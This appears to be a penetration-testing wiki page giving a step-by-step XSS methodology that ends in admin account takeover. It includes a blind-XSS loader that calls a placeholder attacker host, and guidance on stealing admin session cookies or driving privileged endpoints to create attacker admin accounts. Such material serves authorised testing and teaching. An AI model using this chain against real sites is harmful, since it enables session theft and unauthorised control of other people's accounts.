Skip to content

XSS Capstone Chain

A capstone that runs the whole cluster together on one target: enumerate every input, classify each injection by variant and context, and escalate the one that reaches a privileged user into an admin takeover. This is the order of operations to follow on a real assessment, not a specific lab’s answer key - each step links to the page that does the heavy lifting.

map inputs → canary each → classify (reflected / stored / DOM / blind)
→ craft per context → bypass filters if needed
→ pick the sink that reaches an admin → exfil or act in their session
→ account takeover

Before testing payloads, inventory the attack surface. Miss an input and you miss the vuln.

  1. Walk the app as a normal user; log every URL parameter, form field, and request header that could be reflected or stored.
  2. Note which inputs are shown back to you (candidate reflected/stored) and which disappear into a staff-only workflow - tickets, reports, registration-approval queues (candidate blind).
  3. Send a unique alphanumeric canary through each input and record where each surfaces.

For every canary that appears, decide the variant - the exploitation page differs by type:

Observation Variant Go to
Canary echoed in the HTTP response Reflected per-click delivery
Canary persisted, shown on later views Stored fires for every viewer
Canary assembled into the DOM by client JS (via a source→sink flow) DOM-based source→sink; can coexist with a server reflection
Canary never visible to you Blind out-of-band beacon

Then read the markup around each reflection to get its context - body, attribute, JS string, URL, or CSS.

Step 3 - Get execution on the easy wins first

Section titled “Step 3 - Get execution on the easy wins first”

Confirm the straightforward reflected/stored sinks before the blind one, to prove the app is injectable and to learn its filtering behaviour:

  • Craft a context-appropriate payload from Payload construction.
  • If the obvious payload is stripped or encoded, work through Filter bypasses - what survives here usually survives in the blind sink too.
  • Prove execution with alert(document.domain).

The high-value move: a field that an administrator reviews (support ticket, registration request, abuse report) runs your code in the admin’s browser.

  1. Put a per-field named remote-script loader in each staff-reviewed input (<script src=//<ATTACKER>/ticket></script>), with a listener up - see Blind XSS.
  2. A hit on /ticket tells you that field’s markup parsed and the browser fetched your loader - not yet that your JS ran, and not that the viewer was an admin. Have the hosted script emit its own beacon reporting the page URL and session context; confirm from that beacon that it executed and that the viewer is actually privileged.
  3. Swap in the real payload hosted on your server.

Step 5 - Escalate in the admin’s session

Section titled “Step 5 - Escalate in the admin’s session”

What the payload does depends on the app’s defenses:

  • Cookies readable (document.cookie, not HttpOnly) → exfiltrate the admin session and reuse it. Receiver and callback patterns: XSS to session.
  • HttpOnly cookies → you can’t read the cookie, but the admin’s browser still sends it automatically. Have the payload call the app’s privileged endpoints directly - create an attacker admin account, elevate your own user, or reset a password - using the admin’s authenticated session. If those endpoints are CSRF-protected, scrape the token from the admin DOM first: XSS+CSRF chain.
  • Log in with the stolen session or the account you created, confirm admin capability, and capture evidence (the request/response of the privileged action, the beacon’s screenshot of the admin panel).
  • From an admin foothold, look for the usual escalation to the host: file upload → RCE, or settings pages with command execution.
  • The exact input field, variant, and context for each XSS found.
  • The working payload and, for the blind sink, the callback that proves out-of-view execution.
  • The privileged action performed and its result - this is what turns “reflected alert” into “admin account takeover” in the report.
Phase Page
Inventory inputs this page, Step 1
Classify variant Reflected / Stored / DOM / Blind
Craft by context Payload construction
Defeat filters Filter bypasses
Reach the admin Blind XSS
Take the session XSS to session / XSS+CSRF chain
Harden against it Defense